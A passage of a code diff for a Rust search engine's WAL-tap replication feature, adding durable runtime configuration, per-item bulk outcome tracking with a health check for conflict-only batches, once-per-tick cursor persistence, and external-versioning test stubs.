+//! Every `/_xerj/*` route is **superuser-only**, enforced in
+//! [`crate::authz`](../../xerj_api/authz/index.html) on the first path
+//! segment. `PUT /_xerj/wal_tap` names an arbitrary host in `target_url` and
+//! an arbitrary index set in `indices`, and attaches an operator-supplied
+//! `Authorization` header to what it sends — a whole-node export channel and
+//! an authenticated SSRF in one request. Nothing here is index-scoped, so
+//! there is no per-index decision to make, which is the same argument that
+//! already makes snapshot and restore superuser-only.
+//!
//! ## The four decisions
//!
//! **1. Where it hooks.** Nowhere on the write path. The tap reads WAL files
@@ -26,6 +37,13 @@
//! whole frames the moment they are acked. The price is that end-to-end
//! latency has `poll_interval_ms` as its floor.
//!
+//! A poll costs the bytes appended since the last one, not the size of the
+//! file: `tail_shard` reads through a sliding window over a `File`
+//! ([`xerj_storage::wal`]), so a caught-up shard costs one 16-byte header
+//! read. It has to — the cost is multiplied by `num_wal_shards` × allowlisted
+//! indices × `1000 / poll_interval_ms` per second, and `indices = ["*"]` on a
+//! node with thousands of indices is a supported configuration.
+//!
//! **2. Ordering and dedup.** The cursor is a **byte offset**, never a
//! sequence number: the lock-free writer reserves seq_nos outside the shard
//! mutex, so a file can hold frames out of seq order and a seq-filtered resume
@@ -39,6 +57,15 @@
//! external versioning — which currently includes xerj's own `_bulk` — falls
//! back to last-write-wins by arrival instead.
//!
+//! What the target did with each action is read back per item, positionally,
+//! and that is what the counters mean: `docs_shipped` and `last_shipped_seq`
+//! move only for items the target **accepted**. A `_bulk` that returns `200`
+//! while rejecting every action inside it — a target holding a higher external
+//! version for every `_id`, i.e. a second writer got there first — is a real
+//! state and used to be indistinguishable from a healthy tap.
+//! `consecutive_conflict_only_batches` and
+//! [`IndexTapStats::healthy`] exist so it is not.
+//!
//! **3. Backpressure.** Bounded by construction: one in-flight request per
//! index, batches capped by `max_batch_docs` and `max_batch_bytes`, and
//! nothing buffered between polls. When the target is down the cursor simply
@@ -63,6 +90,25 @@
//! logs at `warn` and increments `gaps` in `GET /_xerj/wal_tap/_stats`. The
//! degradation is visible, not silent.
//!
+//! "Visible" is not the same as "survivable", though, and at the default
+//! `storage.flush_interval_secs = 30` the WAL window is about one flush — so a
+//! minute of target downtime on a hot index loses data with nothing but a log
+//! line to offer. `wal_tap.min_retained_generations` is the middle path: a
+//! **bounded** floor under `prune_verified` that holds the newest N rotated
+//! generations whatever any consumer is doing. Deliberately not a retention
+//! lease (Elasticsearch's `ReplicationTracker.addRetentionLease`, Lucene's
+//! `SnapshotDeletionPolicy.snapshot`): a lease is held until the consumer
+//! releases it, which is exactly how a dead follower wedges a leader's disk.
+//! A floor costs `n * wal_max_size_mb` per shard and not one byte more.
+//!
+//! **4c. Where the configuration lives.** In the state file next to the
+//! cursors, not only in memory. `PUT /_xerj/wal_tap` is durable and is
+//! re-applied over the config file on the next boot; `DELETE /_xerj/wal_tap`
+//! drops it. The alternative — the shape this started as — advertised
+//! "runtime config, no restart" while a restart silently reverted the tap to
+//! `enabled = false`, froze its cursors, let WAL pruning carry on, and left
+//! `_stats` not even listing the affected indices.
+//!
//! Prior art consulted before writing this (per the repository's
//! reference-coding mandate):
//!
@@ -79,6 +125,15 @@
//! Confirms the two primitives: an explicitly bounded write buffer (count
//! *and* bytes) as the whole of backpressure, and capped exponential backoff
//! with jitter separating retryable transport failures from fatal ones.
+//! - **lucene** `lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`
+//! (`refill`) and `:221-244` (`resolvePositionInBuffer`), plus
+//! `lucene/analysis/common/src/java/org/apache/lucene/analysis/util/SegmentingTokenizerBase.java:124-147`
+//! (`refill`, the compact-then-read step), Apache-2.0 — the shape of the
+//! incremental tail reader in [`xerj_storage::wal`]: a bounded window whose
+//! absolute position is `bufferStart + buffer.position()`, read length
+//! clamped to the file length so it never reads past EOF, and the
+//! unconsumed remainder carried to the front before pulling more. Adapted,
+//! not copied.
use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
@@ -135,6 +190,20 @@ struct IndexCursors {
struct PersistedState {
version: u32,
indices: BTreeMap<String, IndexCursors>,
+ /// The last configuration applied through `PUT /_xerj/wal_tap`.
+ ///
+ /// Without this, "runtime config, no restart" was a half-truth that
+ /// failed in the direction that loses data: the live config lived only in
+ /// an `RwLock`, so a restart silently reverted the tap to the file config
+ /// — typically `enabled = false`. Cursors then froze while WAL pruning
+ /// carried on, and `_stats` did not even list the affected indices,
+ /// because it only lists what the *current* allowlist matches.
+ ///
+ /// Precedent for a persisted overlay winning over the file is
+ /// Elasticsearch's `persistent` cluster settings.
+ /// `DELETE /_xerj/wal_tap` drops it and reverts to the file.
+ #[serde(default)]
+ runtime_config: Option<WalTapConfig>,
}
impl Default for PersistedState {
@@ -142,6 +211,7 @@ impl Default for PersistedState {
Self {
version: STATE_VERSION,
indices: BTreeMap::new(),
+ runtime_config: None,
}
}
}
@@ -186,8 +256,44 @@ pub struct IndexTapStats {
pub consecutive_failures: u32,
/// Last failure, as a short string. `None` once a send succeeds.
pub last_error: Option<String>,
- /// Highest `seq_no` shipped so far, for the lag estimate.
+ /// Highest `seq_no` the target **accepted**, for the lag estimate.
+ ///
+ /// Accepted means the item came back without an `error`. A rejected item
+ /// — including a version conflict — does not move this, because the whole
+ /// point of the number is to answer "is our data there?" and the answer
+ /// for a rejected action is no. Deriving it from the render-time batch
+ /// instead is what let a target that rejected every single action report
+ /// `lag_seq: 0` while `docs_shipped` climbed.
pub last_shipped_seq: u64,
+ /// Consecutive `_bulk` responses in which the target rejected **every**
+ /// action as a version conflict.
+ ///
+ /// One conflict is expected and benign: it is how external versioning
+ /// absorbs an at-least-once redelivery. A *sustained run* of batches that
+ /// are entirely conflicts is not — it means the target holds a higher
+ /// version for every `_id` this tap sends, so the tap is a no-op and the
+ /// two sides are diverging. See [`IndexTapStats::healthy`].
+ pub consecutive_conflict_only_batches: u32,
+}
+
+/// How many all-conflict batches in a row stop counting as "a redelivery
+/// landed" and start counting as "this target is not taking our writes".
+///
+/// A redelivery after a failed send re-ships exactly the chunks that did not
+/// land, so it clears on the next batch that contains anything new. Three in a
+/// row cannot be that.
+const CONFLICT_ONLY_UNHEALTHY_AFTER: u32 = 3;
+
+impl IndexTapStats {
+ /// Is this index's replication actually working?
+ ///
+ /// `false` for the two states that used to look identical to a healthy
+ /// tap in `_stats`: a send that keeps failing, and a target that accepts
+ /// every request while rejecting every action inside it.
+ pub fn healthy(&self) -> bool {
+ self.last_error.is_none()
+ && self.consecutive_conflict_only_batches < CONFLICT_ONLY_UNHEALTHY_AFTER
+ }
}
// ─────────────────────────────────────────────────────────────────────────────
@@ -206,6 +312,28 @@ pub struct WalTap {
ticks: AtomicU64,
/// Milliseconds-since-start before which the next send must not be tried.
retry_not_before_ms: AtomicU64,
+ /// Cursor state has moved since the last durable write.
+ ///
+ /// Cursors are flushed **once per tick**, not once per index per poll.
+ /// The old shape re-serialised and fsynced the WHOLE state file on every
+ /// cursor advance — O(N²) bytes and 2N fsyncs per tick at N allowlisted
+ /// indices, at a 500 ms default, on a node that `index_store.rs:806-813`
+ /// records reaching 9,382 indices. `indices = ["*"]` walked straight into
+ /// that.
+ ///
+ /// Deferring costs nothing that matters: the cursor is only ever
+ /// persisted *after* the entries it covers have been shipped, so a crash
+ /// in the window re-delivers a batch. Re-delivery is the documented
+ /// contract (at-least-once, absorbed by `version_type: external`); losing
+ /// a batch would not be, and that direction is impossible here.
+ dirty: std::sync::atomic::AtomicBool,
+ /// Durable writes of the state file since start.
+ ///
+ /// Instrumentation, and the only way to assert the property that matters
+ /// about [`WalTap::dirty`]: the cost of a tick must not scale with the
+ /// number of allowlisted indices. See
+ /// `cursor_state_is_written_once_per_tick_not_once_per_index`.
+ persists: AtomicU64,
started: std::time::Instant,
}
@@ -237,6 +365,24 @@ impl WalTap {
Err(_) => PersistedState::default(),
};
+ // A configuration set through the API outlives the process that took
+ // it. Without this a restart reverted to the file config — usually
+ // `enabled = false` — and the tap went quiet while its cursors froze
+ // and WAL pruning carried on regardless.
+ let config = match state.runtime_config.clone() {
+ Some(saved) => {
+ info!(
+ target_url = %saved.redacted_target_url(),
+ enabled = saved.enabled,
+ indices = ?saved.indices,
+ "WAL tap: applying the configuration last set via PUT /_xerj/wal_tap \
+ (overrides the config file; DELETE /_xerj/wal_tap reverts)"
+ );
+ saved
+ }
+ None => config,
+ };
+
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(config.request_timeout_secs.max(1)))
.build()
@@ -250,6 +396,8 @@ impl WalTap {
client,
ticks: AtomicU64::new(0),
retry_not_before_ms: AtomicU64::new(0),
+ dirty: std::sync::atomic::AtomicBool::new(false),
+ persists: AtomicU64::new(0),
started: std::time::Instant::now(),
}
}
@@ -259,11 +407,33 @@ impl WalTap {
self.config.read().clone()
}
- /// Replace the live configuration. Takes effect on the next poll; no
- /// restart, and cursors are preserved so an index that stays in the
- /// allowlist does not re-ship or skip.
+ /// Replace the live configuration **durably**.
+ ///
+ /// Takes effect on the next poll — no restart — and cursors are preserved
+ /// so an index that stays in the allowlist does not re-ship or skip. The
+ /// configuration is also written next to the cursors and re-applied over
+ /// the file config on the next boot, so "no restart needed" does not
+ /// quietly mean "and it is gone after one".
pub fn set_config(&self, config: WalTapConfig) {
- *self.config.write() = config;
+ *self.config.write() = config.clone();
+ self.state.write().runtime_config = Some(config);
+ // Operator action, not a hot path: make it durable now rather than at
+ // the next tick, so a crash between the 200 and the next poll cannot
+ // lose an acknowledged configuration change.
+ self.persist_now();
+ }
+
+ /// Drop the persisted runtime overlay and revert to `config` (the value
+ /// from the config file).
+ pub fn clear_runtime_config(&self, file_config: WalTapConfig) {
+ *self.config.write() = file_config;
+ self.state.write().runtime_config = None;
+ self.persist_now();
+ }
+
+ /// Does a configuration set through the API currently override the file?
+ pub fn has_runtime_config(&self) -> bool {
+ self.state.read().runtime_config.is_some()
}
/// Number of completed poll cycles — the "it is actually running" signal
@@ -277,6 +447,43 @@ impl WalTap {
self.stats.read().clone()
}
+ /// Put an index's cursors back, verbatim.
+ ///
+ /// Test seam. Reconstructs the one state no in-process sequence can reach
+ /// on its own: a persisted cursor that outlived its WAL stream because the
+ /// delete happened while this process was **not running**, so
+ /// [`forget_index`](Self::forget_index) never fired. That is the case
+ /// `tail_shard`'s offset-past-EOF check exists for, and it is unreachable
+ /// from the public API by construction.
+ #[doc(hidden)]
+ pub fn restore_cursors_for_test(&self, index: &str, shards: BTreeMap<String, WalTailCursor>) {
+ self.state
+ .write()
+ .indices
+ .entry(index.to_string())
+ .or_default()
+ .shards = shards;
+ self.persist_now();
+ }
+
+ /// Rewind an index's cursors to the start of their oldest generation.
+ ///
+ /// Test seam for the redelivery half of the at-least-once contract: it
+ /// reproduces exactly what a crash between shipping a batch and persisting
+ /// its cursor leaves behind, which is the case `version_type: external`
+ /// exists to make safe.
+ #[doc(hidden)]
+ pub fn rewind_for_test(&self, index: &str) {
+ let mut state = self.state.write();
+ if let Some(cursors) = state.indices.get_mut(index) {
+ for cursor in cursors.shards.values_mut() {
+ *cursor = WalTailCursor::start_of(0);
+ }
+ }
+ drop(state);
+ self.persist_now();
+ }
+
/// Per-index, per-shard cursors, for `_stats`.
pub fn cursors(&self) -> BTreeMap<String, BTreeMap<String, WalTailCursor>> {
self.state
@@ -324,7 +531,31 @@ impl WalTap {
f(guard.entry(index.to_string()).or_default())
}
- fn persist(&self) {
+ /// Note that cursor state has moved. The write happens once, at the end of
+ /// the tick — see [`WalTap::dirty`] for why deferring is safe.
+ fn mark_dirty(&self) {
+ self.dirty.store(true, Ordering::Relaxed);
+ }
+
+ /// Flush cursor state if anything moved since the last write.
+ fn persist_if_dirty(&self) {
+ if self.dirty.swap(false, Ordering::Relaxed) {
+ self.persist_now();
+ }
+ }
+
+ /// Durable writes of the state file since start.
+ ///
+ /// The tap's I/O amplification, exposed so it can be asserted rather than
+ /// asserted about: one tick must cost one write however many indices are
+ /// allowlisted.
+ pub fn persists(&self) -> u64 {
+ self.persists.load(Ordering::Relaxed)
+ }
+
+ fn persist_now(&self) {
+ self.dirty.store(false, Ordering::Relaxed);
+ self.persists.fetch_add(1, Ordering::Relaxed);
let snapshot = self.state.read().clone();
let bytes = match serde_json::to_vec_pretty(&snapshot) {
Ok(b) => b,
@@ -333,10 +564,12 @@ impl WalTap {
return;
}
};
- // Durable replace: a torn cursor file is a silent re-ship or a silent
- // skip on the next boot, which is exactly the class of bug this
- // feature must not introduce.
- if let Err(e) = xerj_common::fsio::write_file_durable(&self.state_path, &bytes) {
+ // Durable replace at 0600: a torn cursor file is a silent re-ship or a
+ // silent skip on the next boot, and the persisted runtime config in
+ // this file carries `target_auth` — a credential for another cluster,
+ // which must not be world-readable in the data directory. Same writer
+ // the API-key store uses.
+ if let Err(e) = crate::engine::write_secret_file_atomic(&self.state_path, &bytes) {
warn!(error = %e, path = ?self.state_path, "WAL tap: cannot persist cursor state");
}
}
@@ -425,12 +658,22 @@ fn compact_source(source: &Value) -> String {
source.to_string()
}
+/// One rendered action, in the order it appears in the `_bulk` body.
+///
+/// The `items` array of a `_bulk` response is positionally aligned with the
+/// actions of the request, which is the only way to say *which* seq_no the
+/// target actually took. Keeping the pairing is what makes
+/// [`IndexTapStats::last_shipped_seq`] mean something.
+#[derive(Clone, Copy)]
+struct RenderedAction {
+ seq: u64,
+ is_delete: bool,
+}
+
/// One `_bulk` request's worth of rendered actions.
struct Chunk {
body: String,
- docs: u64,
- deletes: u64,
- max_seq: u64,
+ actions: Vec<RenderedAction>,
}
/// Split a batch into `_bulk` bodies no larger than `max_bytes`.
@@ -444,9 +687,7 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Ve
let mut chunks: Vec<Chunk> = Vec::new();
let mut cur = Chunk {
body: String::new(),
- docs: 0,
- deletes: 0,
- max_seq: 0,
+ actions: Vec::new(),
};
for (seq, entry) in batch {
@@ -459,19 +700,15 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Ve
&mut cur,
Chunk {
body: String::new(),
- docs: 0,
- deletes: 0,
- max_seq: 0,
+ actions: Vec::new(),
},
));
}
cur.body.push_str(&rendered);
- if is_delete {
- cur.deletes += 1;
- } else {
- cur.docs += 1;
- }
- cur.max_seq = cur.max_seq.max(*seq);
+ cur.actions.push(RenderedAction {
+ seq: *seq,
+ is_delete,
+ });
}
if !cur.body.is_empty() {
chunks.push(cur);
@@ -483,14 +720,28 @@ fn render_chunks(index: &str, batch: &[(u64, WalEntry)], max_bytes: usize) -> Ve
// The poll loop
// ─────────────────────────────────────────────────────────────────────────────
+/// What the target did with one action inside a 2xx `_bulk` response.
+#[derive(Clone, Copy, PartialEq, Eq)]
+enum ItemOutcome {
+ /// The target took it. This — and only this — advances the watermark.
+ Accepted,
+ /// `version_conflict_engine_exception`: the target already holds a
+ /// version at least as high for this `_id`. Benign once (that is how
+ /// external versioning absorbs a redelivery), a divergence signal when it
+ /// is *every* action of *every* batch.
+ Conflict,
+ /// Rejected for any other reason — a mapping conflict, say. Counted,
+ /// logged, and passed over: see [`WalTap::send_bulk`].
+ Rejected,
+}
+
/// Outcome of shipping one `_bulk` request.
enum SendOutcome {
/// The target accepted the request. Per-item failures may still have
/// occurred; the cursor advances either way.
- Accepted {
- item_failures: u64,
- version_conflicts: u64,
- },
+ ///
+ /// `outcomes` is positionally aligned with the chunk's actions.
+ Accepted { outcomes: Vec<ItemOutcome> },
/// The request did not land. The cursor must not advance.
Failed(String),
}
@@ -506,7 +757,7 @@ impl WalTap {
/// loses everything behind it to WAL pruning rather than just the one bad
/// document. That trade is deliberate and is why `item_failures` is in
/// `_stats`.
- async fn send_bulk(&self, config: &WalTapConfig, body: String) -> SendOutcome {
+ async fn send_bulk(&self, config: &WalTapConfig, body: String, actions: usize) -> SendOutcome {
let url = format!("{}/_bulk", config.target_url.trim_end_matches('/'));
let mut req = self
.client
@@ -541,43 +792,59 @@ impl WalTap {
Err(e) => {
debug!(error = %e, "WAL tap: unparseable _bulk response body");
return SendOutcome::Accepted {
- item_failures: 0,
- version_conflicts: 0,
+ outcomes: vec![ItemOutcome::Accepted; actions],
};
}
};
- let mut item_failures = 0u64;
- let mut version_conflicts = 0u64;
- if parsed.get("errors").and_then(Value::as_bool) == Some(true) {
- for item in parsed
- .get("items")
- .and_then(Value::as_array)
- .map(Vec::as_slice)
- .unwrap_or_default()
- {
- let Some(action) = item.as_object().and_then(|o| o.values().next()) else {
- continue;
- };
- let Some(error) = action.get("error") else {
- continue;
- };
- let kind = error.get("type").and_then(Value::as_str).unwrap_or("");
- if kind == "version_conflict_engine_exception" {
- version_conflicts += 1;
- } else {
- if item_failures == 0 {
- warn!(error = %error, "WAL tap: target rejected a document — \
- skipped (see item_failures in _stats)");
- }
- item_failures += 1;
+ // `errors: false` means every action landed, and ES omits nothing in
+ // that case worth walking.
+ if parsed.get("errors").and_then(Value::as_bool) != Some(true) {
+ return SendOutcome::Accepted {
+ outcomes: vec![ItemOutcome::Accepted; actions],
+ };
+ }
+
+ let items = parsed
+ .get("items")
+ .and_then(Value::as_array)
+ .map(Vec::as_slice)
+ .unwrap_or_default();
+ if items.len() != actions {
+ // `errors: true` with an items array that is not positionally
+ // aligned with the request. Nothing can be attributed to a
+ // specific action, so refuse to claim any of them landed: hold
+ // the cursor and retry rather than advance past writes whose fate
+ // is unknown. At-least-once is a contract; at-most-once is not.
+ return SendOutcome::Failed(format!(
+ "target reported errors with {} items for {actions} actions — cannot \
+ attribute outcomes, holding the cursor",
+ items.len()
+ ));
+ }
+
+ let mut outcomes = Vec::with_capacity(items.len());
+ let mut warned = false;
+ for item in items {
+ let action = item.as_object().and_then(|o| o.values().next());
+ let error = action.and_then(|a| a.get("error"));
+ let Some(error) = error else {
+ outcomes.push(ItemOutcome::Accepted);
+ continue;
+ };
+ let kind = error.get("type").and_then(Value::as_str).unwrap_or("");
+ if kind == "version_conflict_engine_exception" {
+ outcomes.push(ItemOutcome::Conflict);
+ } else {
+ if !warned {
+ warned = true;
+ warn!(error = %error, "WAL tap: target rejected a document — \
+ skipped (see item_failures in _stats)");
}
+ outcomes.push(ItemOutcome::Rejected);
}
}
- SendOutcome::Accepted {
- item_failures,
- version_conflicts,
- }
+ SendOutcome::Accepted { outcomes }
}
/// Poll one index once: read its WAL tail, ship it, advance its cursors.
@@ -644,9 +911,13 @@ impl WalTap {
gaps += 1;
warn!(
index = %name, shard = %shard,
- "WAL tap: a WAL generation was pruned before it could be shipped — \
- entries are missing at the target and cannot be recovered from the \
- WAL. The tap is behind; raise poll throughput or check the target."
+ "WAL tap: a discontinuity in this shard's WAL stream — either a \
+ generation was pruned before it could be shipped, or the stream was \
+ replaced (index deleted and recreated, or data directory rolled \
+ back). Entries are missing at the target and cannot be recovered \
+ from the WAL. If the tap is behind, raise poll throughput, check the \
+ target, or set wal_tap.min_retained_generations; `tail_shard` names \
+ which of the two it was at WARN."
);
}
corrupt += tail.corrupt_skipped as u64;
@@ -678,7 +949,7 @@ impl WalTap {
.entry(name.to_string())
.or_default()
.shards = new_cursors;
- self.persist();
+ self.mark_dirty();
if first_look {
// The tap just positioned at the end of an established
// index: it is caught up by definition, having deliberately
@@ -707,7 +978,7 @@ impl WalTap {
.entry(name.to_string())
.or_default()
.shards = new_cursors;
- self.persist();
+ self.mark_dirty();
return more;
}
@@ -716,24 +987,48 @@ impl WalTap {
// read has to land before the cursors move, so a failure part-way
// through redelivers the earlier chunks on the next poll — which is
// exactly what external versioning makes free.
+ // Everything here is counted from the target's PER-ITEM verdict, not
+ // from what was rendered. A `_bulk` that returns 200 while rejecting
+ // every action inside it is a common, real state — a target holding
+ // higher external versions for the same `_id`s makes every action a
+ // no-op — and counting render-time values made that indistinguishable
+ // from a healthy tap: `docs_shipped` climbed, `lag_seq` read 0, and
+ // nothing had been replicated.
let mut docs = 0u64;
let mut deletes = 0u64;
- let mut max_seq = 0u64;
+ let mut max_accepted_seq = 0u64;
let mut item_failures = 0u64;
let mut version_conflicts = 0u64;
let mut batches = 0u64;
+ let mut conflict_only_batches = 0u32;
for chunk in chunks {
- match self.send_bulk(config, chunk.body).await {
- SendOutcome::Accepted {
- item_failures: items,
- version_conflicts: conflicts,
- } => {
- docs += chunk.docs;
- deletes += chunk.deletes;
- max_seq = max_seq.max(chunk.max_seq);
- item_failures += items;
- version_conflicts += conflicts;
+ let actions = chunk.actions.clone();
+ match self.send_bulk(config, chunk.body, actions.len()).await {
+ SendOutcome::Accepted { outcomes } => {
+ let mut accepted_here = 0u64;
+ let mut conflicts_here = 0u64;
+ for (action, outcome) in actions.iter().zip(outcomes.iter()) {
+ match outcome {
+ ItemOutcome::Accepted => {
+ accepted_here += 1;
+ max_accepted_seq = max_accepted_seq.max(action.seq);
+ if action.is_delete {
+ deletes += 1;
+ } else {
+ docs += 1;
+ }
+ }
+ ItemOutcome::Conflict => {
+ conflicts_here += 1;
+ version_conflicts += 1;
+ }
+ ItemOutcome::Rejected => item_failures += 1,
+ }
+ }
+ if accepted_here == 0 && conflicts_here == actions.len() as u64 {
+ conflict_only_batches += 1;
+ }
batches += 1;
}
SendOutcome::Failed(err) => {
@@ -743,6 +1038,7 @@ impl WalTap {
s.batches_sent += batches;
s.item_failures += item_failures;
s.version_conflicts += version_conflicts;
+ s.last_shipped_seq = s.last_shipped_seq.max(max_accepted_seq);
s.bulk_failures += 1;
s.consecutive_failures = s.consecutive_failures.saturating_add(1);
s.last_error = Some(err.clone());
@@ -762,29 +1058,85 @@ impl WalTap {
.entry(name.to_string())
.or_default()
.shards = new_cursors;
- self.persist();
- self.stat(name, |s| {
+ self.mark_dirty();
+ let unhealthy = self.stat(name, |s| {
s.docs_shipped += docs;
s.deletes_shipped += deletes;
s.batches_sent += batches;
s.item_failures += item_failures;
s.version_conflicts += version_conflicts;
- s.last_shipped_seq = s.last_shipped_seq.max(max_seq);
+ s.last_shipped_seq = s.last_shipped_seq.max(max_accepted_seq);
s.consecutive_failures = 0;
- s.last_error = None;
+ // A run of batches in which the target rejected every action as a
+ // conflict is not "replication working". Only a batch that landed
+ // something clears it.
+ if conflict_only_batches > 0 && docs == 0 && deletes == 0 {
+ s.consecutive_conflict_only_batches = s
+ .consecutive_conflict_only_batches
+ .saturating_add(conflict_only_batches);
+ } else {
+ s.consecutive_conflict_only_batches = 0;
+ }
+ if s.consecutive_conflict_only_batches >= CONFLICT_ONLY_UNHEALTHY_AFTER {
+ s.last_error = Some(format!(
+ "target rejected every action of the last {} batches with \
+ version_conflict_engine_exception — it holds a higher version for \
+ every document this tap sends, so nothing is being replicated",
+ s.consecutive_conflict_only_batches
+ ));
+ true
+ } else {
+ s.last_error = None;
+ false
+ }
});
+ if unhealthy {
+ warn!(
+ index = %name, version_conflicts,
+ "WAL tap: every action is being rejected as a version conflict — the \
+ target holds higher versions than this node. _stats reports the index \
+ unhealthy; check that the target is not also fed by another writer."
+ );
+ }
self.clear_backoff();
debug!(index = %name, docs, deletes, batches, "WAL tap: batch shipped");
more
}
+ /// Drop one index's cursors the moment it is deleted.
+ ///
+ /// Called from [`Engine::delete_index`](crate::engine::Engine::delete_index),
+ /// and that timing is the whole point. A deletion is the exact boundary
+ /// between two incarnations of a name: after it, any surviving cursor
+ /// belongs to a WAL stream that no longer exists.
+ ///
+ /// Waiting for a poll to *notice* the absence — which is all
+ /// [`forget_deleted`](Self::forget_deleted) can do — misses the case that
+ /// matters, because `DELETE` + `PUT` inside one 500 ms poll interval is
+ /// never observed as an absence at all. The recreated index then starts a
+ /// new WAL at generation 0, so the `cursor.generation > newest` guard
+ /// never trips, and the stale byte offset either landed past EOF (every
+ /// document silently skipped, `gap` false) or mid-frame (the shard wedged
+ /// forever with `gaps: 0` and `last_error: null`). Both are the failure a
+ /// WAL consumer must never have, and both are unreachable from here.
+ ///
+ /// `tail_shard`'s offset-past-EOF check is the second line of defence,
+ /// for a delete this process never saw — one that happened while the node
+ /// was down.
+ pub fn forget_index(&self, name: &str) {
+ let removed = self.state.write().indices.remove(name).is_some();
+ self.stats.write().remove(name);
+ if removed {
+ debug!(index = %name, "WAL tap: forgetting the cursor of a deleted index");
+ self.persist_now();
+ }
+ }
+
/// Drop cursors for indices that no longer exist.
///
- /// Hygiene, and one correctness case: an index deleted and recreated under
- /// the same name gets a brand-new WAL starting at generation 0, which the
- /// old cursor points far past. `tail_shard` self-heals that as a gap, but
- /// forgetting the cursor is both cheaper and more honest — the new index
- /// genuinely has no shipped history.
+ /// Hygiene for anything [`forget_index`](Self::forget_index) did not see:
+ /// a deletion by a path that does not route through `Engine::delete_index`,
+ /// or an index removed while this process was not running.
fn forget_deleted(&self, live: &[String]) {
let mut state = self.state.write();
if state.indices.keys().all(|k| live.iter().any(|l| l == k)) {
@@ -798,7 +1150,7 @@ impl WalTap {
kept
});
drop(state);
- self.persist();
+ self.mark_dirty();
}
/// One full pass over the allowlisted indices. Exposed for tests; the
@@ -815,6 +1167,9 @@ impl WalTap {
let live = engine.index_name_list();
self.forget_deleted(&live);
+ // One durable write per tick, at the end, whatever moved — not one
+ // per index per poll. See `WalTap::dirty`.
+ let _flush = FlushOnDrop(self);
for name in live {
if !Self::ships(&config, &name) {
@@ -844,6 +1199,19 @@ impl WalTap {
}
}
+/// Flushes the tap's cursor state when a tick ends, however it ends.
+///
+/// A guard rather than a call at the bottom of `tick`, because `tick` returns
+/// early from several places (backoff armed mid-loop, a send failure) and a
+/// missed flush means the *next* boot re-ships from an older cursor.
+struct FlushOnDrop<'a>(&'a WalTap);
+
+impl Drop for FlushOnDrop<'_> {
+ fn drop(&mut self) {
+ self.0.persist_if_dirty();
+ }
+}
+
/// Drive the tap until the process exits.
pub async fn run(tap: Arc<WalTap>, engine: Arc<Engine>) {
info!("WAL tap loop started (disabled until wal_tap.enabled and a target are set)");
diff --git a/engine/crates/xerj-engine/tests/product_experience.rs b/engine/crates/xerj-engine/tests/product_experience.rs
index e62e7cb39..61cd28433 100644
--- a/engine/crates/xerj-engine/tests/product_experience.rs
+++ b/engine/crates/xerj-engine/tests/product_experience.rs
@@ -753,7 +753,7 @@ fn count_settings(value: &serde_json::Value) -> usize {
/// Settings in a default `Config`, measured by `count_settings`. Quoted in
/// `xerj-common/src/config.rs`; keep the two in step.
-const EXPECTED_SETTINGS: usize = 114;
+const EXPECTED_SETTINGS: usize = 115;
#[tokio::test]
async fn journey_zero_config() {
diff --git a/engine/crates/xerj-engine/tests/wal_tap_push.rs b/engine/crates/xerj-engine/tests/wal_tap_push.rs
index ce2a73586..87eb8fe7e 100644
--- a/engine/crates/xerj-engine/tests/wal_tap_push.rs
+++ b/engine/crates/xerj-engine/tests/wal_tap_push.rs
@@ -33,6 +33,39 @@ struct Received {
bodies: Vec<String>,
/// `Authorization` header of the last request, if any.
last_auth: Option<String>,
+ /// `_id` → highest `version` this target currently holds, maintained only
+ /// in [`TargetSemantics::ExternalVersioning`].
+ versions: HashMap<String, u64>,
+}
+
+/// How the stub answers a `_bulk`.
+#[derive(Clone, Copy, PartialEq, Eq)]
+enum TargetSemantics {
+ /// `{"took":1,"errors":false,"items":[]}` — everything is accepted.
+ ///
+ /// Fine for "did the bytes arrive", useless for the design's central
+ /// safety claim, because it makes the whole `errors == true` branch of
+ /// `send_bulk` dead code.
+ AlwaysAccept,
+ /// Elasticsearch's `version_type: external` rule, which is what the tap's
+ /// at-least-once story rests on: an action applies only if its `version`
+ /// is **strictly greater** than the one the target holds for that `_id`;
+ /// otherwise the item comes back `version_conflict_engine_exception` and
+ /// the stored document is untouched.
+ ///
+ /// This is the target the feature is designed against, and until now
+ /// nothing in the tree implemented it —
+ /// `scripts/verify-wal-tap.sh` runs two real xerj nodes, and xerj's own
+ /// `_bulk` ignores per-action `version` / `version_type` (only the
+ /// single-doc path honours them, `es_compat.rs:2990`), so even the
+ /// end-to-end script exercised precisely the target that ignores the
+ /// mechanism.
+ ExternalVersioning,
+ /// External versioning against a target that already holds a *higher*
+ /// version for every `_id` — a second writer got there first. Every action
+ /// is a rejected no-op, and the tap must say so rather than report a
+ /// healthy zero-lag stream.
+ ExternalVersioningAheadBy(u64),
}
struct StubTarget {
@@ -43,6 +76,10 @@ struct StubTarget {
impl StubTarget {
async fn start() -> Self {
+ Self::start_with(TargetSemantics::AlwaysAccept).await
+ }
+
+ async fn start_with(semantics: TargetSemantics) -> Self {
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let url = format!("http://{}", listener.local_addr().unwrap());
let received = Arc::new(Mutex::new(Received::default()));
@@ -54,7 +91,7 @@ impl StubTarget {
};
let sink = sink.clone();
tokio::spawn(async move {
- let _ = serve_one(stream, sink).await;
+ let _ = serve_one(stream, sink, semantics).await;
});
}
});
@@ -65,6 +102,12 @@ impl StubTarget {
}
}
+ /// The document set the target actually holds, `_id` → version. Only
+ /// meaningful for the external-versioning semantics.
+ fn stored_versions(&self) -> HashMap<String, u64> {
+ self.received.lock().unwrap().versions.clone()
+ }
+
/// Every `_bulk` action line the target has seen, paired with the source
/// line that followed it (`None` for a delete).
fn actions(&self) -> Vec<(Value, Option<Value>)> {
@@ -104,9 +147,78 @@ impl StubTarget {
}
}
+/// Apply one `_bulk` NDJSON body under [`TargetSemantics::ExternalVersioning`]
+/// and return the ES-shaped response body.
+///
+/// Deliberately implements the ES rule and not a friendlier one: an `index`
+/// action with `version_type: external` applies iff `version > stored`, a
+/// `delete` the same, and a rejection is
+/// `{"status":409,"error":{"type":"version_conflict_engine_exception", …}}`
+/// with the stored document left alone.
+fn apply_external_versioning(body: &str, held: &mut HashMap<String, u64>, ahead_by: u64) -> String {
+ let mut items = Vec::new();
+ let mut errors = false;
+ let mut lines = body.lines();
+ while let Some(meta_line) = lines.next() {
